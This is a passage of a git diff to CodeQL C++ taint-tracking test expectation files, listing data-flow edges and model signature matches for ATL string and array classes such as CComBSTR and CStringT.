+| atl.cpp:1195:5:1195:6 | ref arg s1 | atl.cpp:1211:10:1211:11 | s1 |  |
+| atl.cpp:1195:5:1195:6 | ref arg s1 | atl.cpp:1212:10:1212:11 | s1 |  |
+| atl.cpp:1195:5:1195:6 | ref arg s1 | atl.cpp:1213:3:1213:3 | s1 |  |
+| atl.cpp:1195:21:1195:26 | ref arg & ... | atl.cpp:1195:22:1195:26 | bstr2 [inner post update] |  |
+| atl.cpp:1195:21:1195:26 | ref arg & ... | atl.cpp:1196:10:1196:14 | bstr2 |  |
+| atl.cpp:1195:22:1195:26 | bstr2 | atl.cpp:1195:21:1195:26 | & ... |  |
+| atl.cpp:1201:16:1201:17 | 0 | atl.cpp:1202:29:1202:33 | start |  |
+| atl.cpp:1204:10:1204:11 | ref arg s1 | atl.cpp:1205:10:1205:11 | s1 |  |
+| atl.cpp:1204:10:1204:11 | ref arg s1 | atl.cpp:1206:10:1206:11 | s1 |  |
+| atl.cpp:1204:10:1204:11 | ref arg s1 | atl.cpp:1207:10:1207:11 | s1 |  |
+| atl.cpp:1204:10:1204:11 | ref arg s1 | atl.cpp:1208:10:1208:11 | s1 |  |
+| atl.cpp:1204:10:1204:11 | ref arg s1 | atl.cpp:1209:10:1209:11 | s1 |  |
+| atl.cpp:1204:10:1204:11 | ref arg s1 | atl.cpp:1210:10:1210:11 | s1 |  |
+| atl.cpp:1204:10:1204:11 | ref arg s1 | atl.cpp:1211:10:1211:11 | s1 |  |
+| atl.cpp:1204:10:1204:11 | ref arg s1 | atl.cpp:1212:10:1212:11 | s1 |  |
+| atl.cpp:1204:10:1204:11 | ref arg s1 | atl.cpp:1213:3:1213:3 | s1 |  |
+| atl.cpp:1205:10:1205:11 | ref arg s1 | atl.cpp:1206:10:1206:11 | s1 |  |
+| atl.cpp:1205:10:1205:11 | ref arg s1 | atl.cpp:1207:10:1207:11 | s1 |  |
+| atl.cpp:1205:10:1205:11 | ref arg s1 | atl.cpp:1208:10:1208:11 | s1 |  |
+| atl.cpp:1205:10:1205:11 | ref arg s1 | atl.cpp:1209:10:1209:11 | s1 |  |
+| atl.cpp:1205:10:1205:11 | ref arg s1 | atl.cpp:1210:10:1210:11 | s1 |  |
+| atl.cpp:1205:10:1205:11 | ref arg s1 | atl.cpp:1211:10:1211:11 | s1 |  |
+| atl.cpp:1205:10:1205:11 | ref arg s1 | atl.cpp:1212:10:1212:11 | s1 |  |
+| atl.cpp:1205:10:1205:11 | ref arg s1 | atl.cpp:1213:3:1213:3 | s1 |  |
+| atl.cpp:1206:10:1206:11 | ref arg s1 | atl.cpp:1207:10:1207:11 | s1 |  |
+| atl.cpp:1206:10:1206:11 | ref arg s1 | atl.cpp:1208:10:1208:11 | s1 |  |
+| atl.cpp:1206:10:1206:11 | ref arg s1 | atl.cpp:1209:10:1209:11 | s1 |  |
+| atl.cpp:1206:10:1206:11 | ref arg s1 | atl.cpp:1210:10:1210:11 | s1 |  |
+| atl.cpp:1206:10:1206:11 | ref arg s1 | atl.cpp:1211:10:1211:11 | s1 |  |
+| atl.cpp:1206:10:1206:11 | ref arg s1 | atl.cpp:1212:10:1212:11 | s1 |  |
+| atl.cpp:1206:10:1206:11 | ref arg s1 | atl.cpp:1213:3:1213:3 | s1 |  |
+| atl.cpp:1207:10:1207:11 | ref arg s1 | atl.cpp:1208:10:1208:11 | s1 |  |
+| atl.cpp:1207:10:1207:11 | ref arg s1 | atl.cpp:1209:10:1209:11 | s1 |  |
+| atl.cpp:1207:10:1207:11 | ref arg s1 | atl.cpp:1210:10:1210:11 | s1 |  |
+| atl.cpp:1207:10:1207:11 | ref arg s1 | atl.cpp:1211:10:1211:11 | s1 |  |
+| atl.cpp:1207:10:1207:11 | ref arg s1 | atl.cpp:1212:10:1212:11 | s1 |  |
+| atl.cpp:1207:10:1207:11 | ref arg s1 | atl.cpp:1213:3:1213:3 | s1 |  |
+| atl.cpp:1208:10:1208:11 | ref arg s1 | atl.cpp:1209:10:1209:11 | s1 |  |
+| atl.cpp:1208:10:1208:11 | ref arg s1 | atl.cpp:1210:10:1210:11 | s1 |  |
+| atl.cpp:1208:10:1208:11 | ref arg s1 | atl.cpp:1211:10:1211:11 | s1 |  |
+| atl.cpp:1208:10:1208:11 | ref arg s1 | atl.cpp:1212:10:1212:11 | s1 |  |
+| atl.cpp:1208:10:1208:11 | ref arg s1 | atl.cpp:1213:3:1213:3 | s1 |  |
+| atl.cpp:1209:10:1209:11 | ref arg s1 | atl.cpp:1210:10:1210:11 | s1 |  |
+| atl.cpp:1209:10:1209:11 | ref arg s1 | atl.cpp:1211:10:1211:11 | s1 |  |
+| atl.cpp:1209:10:1209:11 | ref arg s1 | atl.cpp:1212:10:1212:11 | s1 |  |
+| atl.cpp:1209:10:1209:11 | ref arg s1 | atl.cpp:1213:3:1213:3 | s1 |  |
+| atl.cpp:1210:10:1210:11 | ref arg s1 | atl.cpp:1211:10:1211:11 | s1 |  |
+| atl.cpp:1210:10:1210:11 | ref arg s1 | atl.cpp:1212:10:1212:11 | s1 |  |
+| atl.cpp:1210:10:1210:11 | ref arg s1 | atl.cpp:1213:3:1213:3 | s1 |  |
+| atl.cpp:1211:10:1211:11 | ref arg s1 | atl.cpp:1212:10:1212:11 | s1 |  |
+| atl.cpp:1211:10:1211:11 | ref arg s1 | atl.cpp:1213:3:1213:3 | s1 |  |
+| atl.cpp:1212:10:1212:11 | ref arg s1 | atl.cpp:1213:3:1213:3 | s1 |  |
+| atl.cpp:1220:21:1220:39 | call to source | atl.cpp:1221:10:1221:10 | d |  |
+| atl.cpp:1239:24:1239:45 | call to source | atl.cpp:1240:22:1240:22 | s |  |
+| atl.cpp:1239:24:1239:45 | call to source | atl.cpp:1243:3:1243:3 | s |  |
+| atl.cpp:1240:22:1240:22 | ref arg s | atl.cpp:1243:3:1243:3 | s |  |
+| atl.cpp:1240:22:1240:30 | call to CStrBufT | atl.cpp:1241:46:1241:46 | b |  |
+| atl.cpp:1240:22:1240:30 | call to CStrBufT | atl.cpp:1242:45:1242:45 | b |  |
+| atl.cpp:1241:46:1241:46 | ref arg b | atl.cpp:1242:45:1242:45 | b |  |
 | bsd.cpp:17:11:17:16 | call to source | bsd.cpp:20:18:20:18 | s |  |
 | bsd.cpp:18:12:18:15 | addr | bsd.cpp:20:22:20:25 | addr |  |
 | bsd.cpp:18:12:18:15 | addr | bsd.cpp:23:8:23:11 | addr |  |
diff --git a/cpp/ql/test/library-tests/dataflow/taint-tests/test_mad-signatures.expected b/cpp/ql/test/library-tests/dataflow/taint-tests/test_mad-signatures.expected
index 6996b3d1c66c..b22b4cb59db0 100644
--- a/cpp/ql/test/library-tests/dataflow/taint-tests/test_mad-signatures.expected
+++ b/cpp/ql/test/library-tests/dataflow/taint-tests/test_mad-signatures.expected
@@ -1,273 +1,273 @@
 signatureMatches
-| atl.cpp:70:3:70:15 | _U_STRINGorID | (UINT) | CComBSTR | LoadString | 0 |
-| atl.cpp:70:3:70:15 | _U_STRINGorID | (UINT) | _U_STRINGorID | _U_STRINGorID | 0 |
-| atl.cpp:71:3:71:15 | _U_STRINGorID | (LPCTSTR) | _U_STRINGorID | _U_STRINGorID | 0 |
-| atl.cpp:258:3:258:10 | CAtlList | (UINT) | CComBSTR | LoadString | 0 |
-| atl.cpp:258:3:258:10 | CAtlList | (UINT) | CComBSTR | LoadString | 0 |
-| atl.cpp:258:3:258:10 | CAtlList | (UINT) | _U_STRINGorID | _U_STRINGorID | 0 |
-| atl.cpp:258:3:258:10 | CAtlList | (UINT) | _U_STRINGorID | _U_STRINGorID | 0 |
-| atl.cpp:408:8:408:8 | operator= | (const CComBSTR &) | CComBSTR | Append | 0 |
-| atl.cpp:408:8:408:8 | operator= | (const CComBSTR &) | CComBSTR | CComBSTR | 0 |
-| atl.cpp:410:3:410:10 | CComBSTR | (const CComBSTR &) | CComBSTR | Append | 0 |
-| atl.cpp:410:3:410:10 | CComBSTR | (const CComBSTR &) | CComBSTR | CComBSTR | 0 |
-| atl.cpp:412:3:412:10 | CComBSTR | (int,LPCOLESTR) | CComBSTR | CComBSTR | 0 |
-| atl.cpp:412:3:412:10 | CComBSTR | (int,LPCOLESTR) | CComBSTR | CComBSTR | 1 |
-| atl.cpp:413:3:413:10 | CComBSTR | (int,LPCSTR) | CComBSTR | CComBSTR | 0 |
-| atl.cpp:413:3:413:10 | CComBSTR | (int,LPCSTR) | CComBSTR | CComBSTR | 1 |
-| atl.cpp:414:3:414:10 | CComBSTR | (LPCOLESTR) | CComBSTR | Append | 0 |
-| atl.cpp:414:3:414:10 | CComBSTR | (LPCOLESTR) | CComBSTR | CComBSTR | 0 |
-| atl.cpp:415:3:415:10 | CComBSTR | (LPCSTR) | CComBSTR | Append | 0 |
-| atl.cpp:415:3:415:10 | CComBSTR | (LPCSTR) | CComBSTR | CComBSTR | 0 |
-| atl.cpp:416:3:416:10 | CComBSTR | (CComBSTR &&) | CComBSTR | CComBSTR | 0 |
-| atl.cpp:419:11:419:16 | Append | (const CComBSTR &) | CComBSTR | Append | 0 |
-| atl.cpp:419:11:419:16 | Append | (const CComBSTR &) | CComBSTR | CComBSTR | 0 |
-| atl.cpp:420:11:420:16 | Append | (wchar_t) |  | operator+= | 0 |
-| atl.cpp:420:11:420:16 | Append | (wchar_t) | CComBSTR | Append | 0 |
-| atl.cpp:420:11:420:16 | Append | (wchar_t) | CSimpleStringT | operator+= | 0 |
-| atl.cpp:421:11:421:16 | Append | (char) |  | operator+= | 0 |
-| atl.cpp:421:11:421:16 | Append | (char) | CComBSTR | Append | 0 |
-| atl.cpp:421:11:421:16 | Append | (char) | CSimpleStringT | operator+= | 0 |
-| atl.cpp:422:11:422:16 | Append | (LPCOLESTR) | CComBSTR | Append | 0 |
-| atl.cpp:422:11:422:16 | Append | (LPCOLESTR) | CComBSTR | CComBSTR | 0 |
-| atl.cpp:423:11:423:16 | Append | (LPCSTR) | CComBSTR | Append | 0 |
-| atl.cpp:423:11:423:16 | Append | (LPCSTR) | CComBSTR | CComBSTR | 0 |
-| atl.cpp:424:11:424:16 | Append | (LPCOLESTR,int) | CComBSTR | Append | 0 |
-| atl.cpp:424:11:424:16 | Append | (LPCOLESTR,int) | CComBSTR | Append | 1 |
-| atl.cpp:424:11:424:16 | Append | (char,int) | CStringT | CStringT | 1 |
-| atl.cpp:424:11:424:16 | Append | (const XCHAR *,int) | CStringT | CStringT | 1 |
-| atl.cpp:424:11:424:16 | Append | (const YCHAR *,int) | CStringT | CStringT | 1 |
-| atl.cpp:424:11:424:16 | Append | (wchar_t,int) | CStringT | CStringT | 1 |
-| atl.cpp:425:11:425:20 | AppendBSTR | (wchar_t *) | CStringT | CStringT | 0 |
-| atl.cpp:426:11:426:21 | AppendBytes | (LPCOLESTR,int) | CComBSTR | Append | 1 |
-| atl.cpp:426:11:426:21 | AppendBytes | (char,int) | CStringT | CStringT | 1 |
-| atl.cpp:426:11:426:21 | AppendBytes | (const XCHAR *,int) | CStringT | CStringT | 1 |
-| atl.cpp:426:11:426:21 | AppendBytes | (const YCHAR *,int) | CStringT | CStringT | 1 |
-| atl.cpp:426:11:426:21 | AppendBytes | (wchar_t,int) | CStringT | CStringT | 1 |
-| atl.cpp:427:11:427:21 | ArrayToBSTR | (const SAFEARRAY *) | CComSafeArray | Add | 0 |
-| atl.cpp:427:11:427:21 | ArrayToBSTR | (const SAFEARRAY *) | CComSafeArray | CComSafeArray | 0 |
-| atl.cpp:427:11:427:21 | ArrayToBSTR | (const SAFEARRAY *) | CComSafeArray | operator= | 0 |
-| atl.cpp:429:8:429:13 | Attach | (wchar_t *) | CStringT | CStringT | 0 |
-| atl.cpp:439:8:439:17 | LoadString | (HINSTANCE,UINT) | CComBSTR | LoadString | 0 |
-| atl.cpp:439:8:439:17 | LoadString | (HINSTANCE,UINT) | CComBSTR | LoadString | 1 |
-| atl.cpp:440:8:440:17 | LoadString | (UINT) | CComBSTR | LoadString | 0 |
-| atl.cpp:440:8:440:17 | LoadString | (UINT) | _U_STRINGorID | _U_STRINGorID | 0 |
-| atl.cpp:448:13:448:22 | operator+= | (const CComBSTR &) | CComBSTR | Append | 0 |
-| atl.cpp:448:13:448:22 | operator+= | (const CComBSTR &) | CComBSTR | CComBSTR | 0 |
-| atl.cpp:449:13:449:22 | operator+= | (LPCOLESTR) | CComBSTR | Append | 0 |
-| atl.cpp:449:13:449:22 | operator+= | (LPCOLESTR) | CComBSTR | CComBSTR | 0 |
-| atl.cpp:539:3:539:15 | CComSafeArray | (const SAFEARRAY *) | CComSafeArray | Add | 0 |
-| atl.cpp:539:3:539:15 | CComSafeArray | (const SAFEARRAY *) | CComSafeArray | CComSafeArray | 0 |
-| atl.cpp:539:3:539:15 | CComSafeArray | (const SAFEARRAY *) | CComSafeArray | operator= | 0 |
-| atl.cpp:543:11:543:13 | Add | (const SAFEARRAY *) | CComSafeArray | Add | 0 |
-| atl.cpp:543:11:543:13 | Add | (const SAFEARRAY *) | CComSafeArray | CComSafeArray | 0 |
-| atl.cpp:543:11:543:13 | Add | (const SAFEARRAY *) | CComSafeArray | operator= | 0 |
-| atl.cpp:545:11:545:13 | Add | (const T &,BOOL) | CComSafeArray<T> | Add | 0 |
-| atl.cpp:545:11:545:13 | Add | (const T &,BOOL) | CComSafeArray<T> | Add | 1 |
-| atl.cpp:611:3:611:8 | CPathT | (PCXSTR) |  | operator+= | 0 |
-| atl.cpp:611:3:611:8 | CPathT | (PCXSTR) | CSimpleStringT | operator+= | 0 |
-| atl.cpp:611:3:611:8 | CPathT | (PCXSTR) | CStringT | operator= | 0 |
-| atl.cpp:616:8:616:19 | AddExtension | (PCXSTR) |  | operator+= | 0 |
-| atl.cpp:616:8:616:19 | AddExtension | (PCXSTR) | CSimpleStringT | operator+= | 0 |
-| atl.cpp:616:8:616:19 | AddExtension | (PCXSTR) | CStringT | operator= | 0 |
-| atl.cpp:617:8:617:13 | Append | (PCXSTR) |  | operator+= | 0 |
-| atl.cpp:617:8:617:13 | Append | (PCXSTR) | CSimpleStringT | operator+= | 0 |
-| atl.cpp:617:8:617:13 | Append | (PCXSTR) | CStringT | operator= | 0 |
-| atl.cpp:620:8:620:14 | Combine | (PCXSTR,PCXSTR) | CStringT | Replace | 0 |
-| atl.cpp:620:8:620:14 | Combine | (PCXSTR,PCXSTR) | CStringT | Replace | 1 |
-| atl.cpp:620:8:620:14 | Combine | (const CStringT &,PCXSTR) |  | operator+ | 1 |
-| atl.cpp:620:8:620:14 | Combine | (int,PCXSTR) | CStringT | Insert | 1 |
-| atl.cpp:621:22:621:33 | CommonPrefix | (PCXSTR) |  | operator+= | 0 |
-| atl.cpp:621:22:621:33 | CommonPrefix | (PCXSTR) | CSimpleStringT | operator+= | 0 |
-| atl.cpp:621:22:621:33 | CommonPrefix | (PCXSTR) | CStringT | operator= | 0 |
-| atl.cpp:658:23:658:32 | operator+= | (PCXSTR) |  | operator+= | 0 |
-| atl.cpp:658:23:658:32 | operator+= | (PCXSTR) | CSimpleStringT | operator+= | 0 |
-| atl.cpp:658:23:658:32 | operator+= | (PCXSTR) | CStringT | operator= | 0 |
-| atl.cpp:764:8:764:10 | Add | (const deque &,const Allocator &) | deque<T,Allocator> | deque | 1 |
-| atl.cpp:764:8:764:10 | Add | (const forward_list &,const Allocator &) | forward_list<T,Allocator> | forward_list | 1 |
-| atl.cpp:764:8:764:10 | Add | (const list &,const Allocator &) | list<T,Allocator> | list | 1 |
-| atl.cpp:764:8:764:10 | Add | (const vector &,const Allocator &) | vector<T,Allocator> | vector | 1 |
-| atl.cpp:764:8:764:10 | Add | (deque &&,const Allocator &) | deque<T,Allocator> | deque | 1 |
-| atl.cpp:764:8:764:10 | Add | (forward_list &&,const Allocator &) | forward_list<T,Allocator> | forward_list | 1 |
-| atl.cpp:764:8:764:10 | Add | (list &&,const Allocator &) | list<T,Allocator> | list | 1 |
-| atl.cpp:764:8:764:10 | Add | (vector &&,const Allocator &) | vector<T,Allocator> | vector | 1 |
-| atl.cpp:775:8:775:12 | SetAt | (const deque &,const Allocator &) | deque<T,Allocator> | deque | 1 |
-| atl.cpp:775:8:775:12 | SetAt | (const forward_list &,const Allocator &) | forward_list<T,Allocator> | forward_list | 1 |
-| atl.cpp:775:8:775:12 | SetAt | (const list &,const Allocator &) | list<T,Allocator> | list | 1 |
-| atl.cpp:775:8:775:12 | SetAt | (const vector &,const Allocator &) | vector<T,Allocator> | vector | 1 |
-| atl.cpp:775:8:775:12 | SetAt | (deque &&,const Allocator &) | deque<T,Allocator> | deque | 1 |
-| atl.cpp:775:8:775:12 | SetAt | (forward_list &&,const Allocator &) | forward_list<T,Allocator> | forward_list | 1 |
-| atl.cpp:775:8:775:12 | SetAt | (list &&,const Allocator &) | list<T,Allocator> | list | 1 |
-| atl.cpp:775:8:775:12 | SetAt | (vector &&,const Allocator &) | vector<T,Allocator> | vector | 1 |
-| atl.cpp:776:8:776:17 | SetAtIndex | (InputIterator,InputIterator,const Allocator &) | deque<T,Allocator> | deque<InputIterator> | 2 |
-| atl.cpp:776:8:776:17 | SetAtIndex | (InputIterator,InputIterator,const Allocator &) | forward_list<T,Allocator> | forward_list | 2 |
-| atl.cpp:776:8:776:17 | SetAtIndex | (InputIterator,InputIterator,const Allocator &) | list<T,Allocator> | list<InputIterator> | 2 |
-| atl.cpp:776:8:776:17 | SetAtIndex | (InputIterator,InputIterator,const Allocator &) | vector<T,Allocator> | vector<InputIterator> | 2 |
-| atl.cpp:776:8:776:17 | SetAtIndex | (size_type,const T &,const Allocator &) | deque<T,Allocator> | deque | 1 |
-| atl.cpp:776:8:776:17 | SetAtIndex | (size_type,const T &,const Allocator &) | deque<T,Allocator> | deque | 2 |
-| atl.cpp:776:8:776:17 | SetAtIndex | (size_type,const T &,const Allocator &) | forward_list<T,Allocator> | forward_list | 1 |
-| atl.cpp:776:8:776:17 | SetAtIndex | (size_type,const T &,const Allocator &) | forward_list<T,Allocator> | forward_list | 2 |
-| atl.cpp:776:8:776:17 | SetAtIndex | (size_type,const T &,const Allocator &) | list<T,Allocator> | list | 1 |
-| atl.cpp:776:8:776:17 | SetAtIndex | (size_type,const T &,const Allocator &) | list<T,Allocator> | list | 2 |
-| atl.cpp:776:8:776:17 | SetAtIndex | (size_type,const T &,const Allocator &) | vector<T,Allocator> | vector | 1 |
-| atl.cpp:776:8:776:17 | SetAtIndex | (size_type,const T &,const Allocator &) | vector<T,Allocator> | vector | 2 |
-| atl.cpp:841:15:841:26 | SetExtraInfo | (LPCTSTR) | _U_STRINGorID | _U_STRINGorID | 0 |
-| atl.cpp:842:15:842:25 | SetHostName | (LPCTSTR) | _U_STRINGorID | _U_STRINGorID | 0 |
-| atl.cpp:843:15:843:25 | SetPassword | (LPCTSTR) | _U_STRINGorID | _U_STRINGorID | 0 |
-| atl.cpp:846:15:846:27 | SetSchemeName | (LPCTSTR) | _U_STRINGorID | _U_STRINGorID | 0 |
-| atl.cpp:847:15:847:24 | SetUrlPath | (LPCTSTR) | _U_STRINGorID | _U_STRINGorID | 0 |
-| atl.cpp:848:15:848:25 | SetUserName | (LPCTSTR) | _U_STRINGorID | _U_STRINGorID | 0 |
-| atl.cpp:914:3:914:16 | CSimpleStringT | (const XCHAR *,int,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 0 |
-| atl.cpp:914:3:914:16 | CSimpleStringT | (const XCHAR *,int,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 1 |
-| atl.cpp:914:3:914:16 | CSimpleStringT | (const XCHAR *,int,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 2 |
-| atl.cpp:914:3:914:16 | CSimpleStringT | (const YCHAR *,int,IAtlStringMgr *) | CStringT | CStringT | 1 |
-| atl.cpp:914:3:914:16 | CSimpleStringT | (const YCHAR *,int,IAtlStringMgr *) | CStringT | CStringT | 2 |
-| atl.cpp:915:3:915:16 | CSimpleStringT | (LPCSTR,IAtlStringMgr *) | CStringT | CStringT | 1 |
-| atl.cpp:915:3:915:16 | CSimpleStringT | (LPCWSTR,IAtlStringMgr *) | CStringT | CStringT | 1 |
-| atl.cpp:915:3:915:16 | CSimpleStringT | (PCXSTR,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 0 |
-| atl.cpp:915:3:915:16 | CSimpleStringT | (PCXSTR,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 1 |
-| atl.cpp:915:3:915:16 | CSimpleStringT | (const VARIANT &,IAtlStringMgr *) | CStringT | CStringT | 1 |
-| atl.cpp:915:3:915:16 | CSimpleStringT | (const unsigned char *,IAtlStringMgr *) | CStringT | CStringT | 1 |
-| atl.cpp:916:3:916:16 | CSimpleStringT | (const CSimpleStringT &) |  | operator+= | 0 |
-| atl.cpp:916:3:916:16 | CSimpleStringT | (const CSimpleStringT &) | CSimpleStringT | CSimpleStringT | 0 |
-| atl.cpp:916:3:916:16 | CSimpleStringT | (const CSimpleStringT &) | CSimpleStringT | operator+= | 0 |
-| atl.cpp:916:3:916:16 | CSimpleStringT | (const CSimpleStringT &) | CStringT | CStringT | 0 |
-| atl.cpp:916:3:916:16 | CSimpleStringT | (const CSimpleStringT &) | CStringT | operator= | 0 |
-| atl.cpp:920:8:920:13 | Append | (const CSimpleStringT &) |  | operator+= | 0 |
-| atl.cpp:920:8:920:13 | Append | (const CSimpleStringT &) | CSimpleStringT | CSimpleStringT | 0 |
-| atl.cpp:920:8:920:13 | Append | (const CSimpleStringT &) | CSimpleStringT | operator+= | 0 |
-| atl.cpp:920:8:920:13 | Append | (const CSimpleStringT &) | CStringT | CStringT | 0 |
-| atl.cpp:920:8:920:13 | Append | (const CSimpleStringT &) | CStringT | operator= | 0 |
-| atl.cpp:921:8:921:13 | Append | (LPCOLESTR,int) | CComBSTR | Append | 1 |
-| atl.cpp:921:8:921:13 | Append | (char,int) | CStringT | CStringT | 1 |
-| atl.cpp:921:8:921:13 | Append | (const XCHAR *,int) | CStringT | CStringT | 1 |
-| atl.cpp:921:8:921:13 | Append | (const YCHAR *,int) | CStringT | CStringT | 1 |
-| atl.cpp:921:8:921:13 | Append | (wchar_t,int) | CStringT | CStringT | 1 |
-| atl.cpp:922:8:922:13 | Append | (PCXSTR) |  | operator+= | 0 |
-| atl.cpp:922:8:922:13 | Append | (PCXSTR) | CSimpleStringT | operator+= | 0 |
-| atl.cpp:922:8:922:13 | Append | (PCXSTR) | CStringT | operator= | 0 |
-| atl.cpp:926:15:926:23 | CopyChars | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 0 |
-| atl.cpp:926:15:926:23 | CopyChars | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 1 |
-| atl.cpp:926:15:926:23 | CopyChars | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 2 |
-| atl.cpp:926:15:926:23 | CopyChars | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 0 |
-| atl.cpp:926:15:926:23 | CopyChars | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 1 |
-| atl.cpp:926:15:926:23 | CopyChars | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 2 |
-| atl.cpp:927:15:927:23 | CopyChars | (XCHAR *,size_t,const XCHAR *,int) | CSimpleStringT | CopyChars | 0 |
-| atl.cpp:927:15:927:23 | CopyChars | (XCHAR *,size_t,const XCHAR *,int) | CSimpleStringT | CopyChars | 1 |
-| atl.cpp:927:15:927:23 | CopyChars | (XCHAR *,size_t,const XCHAR *,int) | CSimpleStringT | CopyChars | 2 |
-| atl.cpp:927:15:927:23 | CopyChars | (XCHAR *,size_t,const XCHAR *,int) | CSimpleStringT | CopyChars | 3 |
-| atl.cpp:928:15:928:33 | CopyCharsOverlapped | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 0 |
-| atl.cpp:928:15:928:33 | CopyCharsOverlapped | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 1 |
-| atl.cpp:928:15:928:33 | CopyCharsOverlapped | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 2 |
-| atl.cpp:928:15:928:33 | CopyCharsOverlapped | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 0 |
-| atl.cpp:928:15:928:33 | CopyCharsOverlapped | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 1 |
-| atl.cpp:928:15:928:33 | CopyCharsOverlapped | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 2 |
-| atl.cpp:937:8:937:12 | SetAt | (XCHAR,XCHAR) | CStringT | Replace | 1 |
-| atl.cpp:937:8:937:12 | SetAt | (const CStringT &,char) |  | operator+ | 1 |
-| atl.cpp:937:8:937:12 | SetAt | (int,XCHAR) | CStringT | Insert | 0 |
-| atl.cpp:937:8:937:12 | SetAt | (int,XCHAR) | CStringT | Insert | 1 |
-| atl.cpp:938:8:938:16 | SetString | (LPCOLESTR,int) | CComBSTR | Append | 1 |
-| atl.cpp:938:8:938:16 | SetString | (char,int) | CStringT | CStringT | 1 |
-| atl.cpp:938:8:938:16 | SetString | (const XCHAR *,int) | CStringT | CStringT | 1 |
-| atl.cpp:938:8:938:16 | SetString | (const YCHAR *,int) | CStringT | CStringT | 1 |
-| atl.cpp:938:8:938:16 | SetString | (wchar_t,int) | CStringT | CStringT | 1 |
-| atl.cpp:939:8:939:16 | SetString | (PCXSTR) |  | operator+= | 0 |
-| atl.cpp:939:8:939:16 | SetString | (PCXSTR) | CSimpleStringT | operator+= | 0 |
-| atl.cpp:939:8:939:16 | SetString | (PCXSTR) | CStringT | operator= | 0 |
-| atl.cpp:1035:3:1035:10 | CStringT | (const VARIANT &) |  | operator+= | 0 |
-| atl.cpp:1035:3:1035:10 | CStringT | (const VARIANT &) | CStringT | CStringT | 0 |
-| atl.cpp:1035:3:1035:10 | CStringT | (const VARIANT &) | CStringT | operator= | 0 |
-| atl.cpp:1036:3:1036:10 | CStringT | (LPCSTR,IAtlStringMgr *) | CStringT | CStringT | 1 |
-| atl.cpp:1036:3:1036:10 | CStringT | (LPCWSTR,IAtlStringMgr *) | CStringT | CStringT | 1 |
-| atl.cpp:1036:3:1036:10 | CStringT | (PCXSTR,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 1 |
-| atl.cpp:1036:3:1036:10 | CStringT | (const VARIANT &,IAtlStringMgr *) | CStringT | CStringT | 0 |
-| atl.cpp:1036:3:1036:10 | CStringT | (const VARIANT &,IAtlStringMgr *) | CStringT | CStringT | 1 |
-| atl.cpp:1036:3:1036:10 | CStringT | (const unsigned char *,IAtlStringMgr *) | CStringT | CStringT | 1 |
-| atl.cpp:1037:3:1037:10 | CStringT | (const CStringT &) | CStringT | CStringT | 0 |
-| atl.cpp:1037:3:1037:10 | CStringT | (const CStringT &) | CStringT | operator= | 0 |
-| atl.cpp:1041:3:1041:10 | CStringT | (LPCSTR,IAtlStringMgr *) | CStringT | CStringT | 0 |
-| atl.cpp:1041:3:1041:10 | CStringT | (LPCSTR,IAtlStringMgr *) | CStringT | CStringT | 1 |
-| atl.cpp:1041:3:1041:10 | CStringT | (LPCWSTR,IAtlStringMgr *) | CStringT | CStringT | 1 |
-| atl.cpp:1041:3:1041:10 | CStringT | (PCXSTR,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 1 |
-| atl.cpp:1041:3:1041:10 | CStringT | (const VARIANT &,IAtlStringMgr *) | CStringT | CStringT | 1 |
-| atl.cpp:1041:3:1041:10 | CStringT | (const unsigned char *,IAtlStringMgr *) | CStringT | CStringT | 1 |
-| atl.cpp:1042:3:1042:10 | CStringT | (LPCSTR,IAtlStringMgr *) | CStringT | CStringT | 1 |
-| atl.cpp:1042:3:1042:10 | CStringT | (LPCWSTR,IAtlStringMgr *) | CStringT | CStringT | 0 |
-| atl.cpp:1042:3:1042:10 | CStringT | (LPCWSTR,IAtlStringMgr *) | CStringT | CStringT | 1 |
-| atl.cpp:1042:3:1042:10 | CStringT | (PCXSTR,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 1 |
-| atl.cpp:1042:3:1042:10 | CStringT | (const VARIANT &,IAtlStringMgr *) | CStringT | CStringT | 1 |
-| atl.cpp:1042:3:1042:10 | CStringT | (const unsigned char *,IAtlStringMgr *) | CStringT | CStringT | 1 |
-| atl.cpp:1044:3:1044:10 | CStringT | (char *) | CStringT | CStringT | 0 |
-| atl.cpp:1045:3:1045:10 | CStringT | (unsigned char *) | CStringT | CStringT | 0 |
-| atl.cpp:1046:3:1046:10 | CStringT | (wchar_t *) | CStringT | CStringT | 0 |
-| atl.cpp:1048:3:1048:10 | CStringT | (LPCOLESTR,int) | CComBSTR | Append | 1 |
-| atl.cpp:1048:3:1048:10 | CStringT | (char,int) | CStringT | CStringT | 0 |
-| atl.cpp:1048:3:1048:10 | CStringT | (char,int) | CStringT | CStringT | 1 |
-| atl.cpp:1048:3:1048:10 | CStringT | (const XCHAR *,int) | CStringT | CStringT | 1 |
-| atl.cpp:1048:3:1048:10 | CStringT | (const YCHAR *,int) | CStringT | CStringT | 1 |
-| atl.cpp:1048:3:1048:10 | CStringT | (wchar_t,int) | CStringT | CStringT | 1 |
-| atl.cpp:1049:3:1049:10 | CStringT | (LPCOLESTR,int) | CComBSTR | Append | 1 |
-| atl.cpp:1049:3:1049:10 | CStringT | (char,int) | CStringT | CStringT | 1 |
-| atl.cpp:1049:3:1049:10 | CStringT | (const XCHAR *,int) | CStringT | CStringT | 1 |
-| atl.cpp:1049:3:1049:10 | CStringT | (const YCHAR *,int) | CStringT | CStringT | 1 |
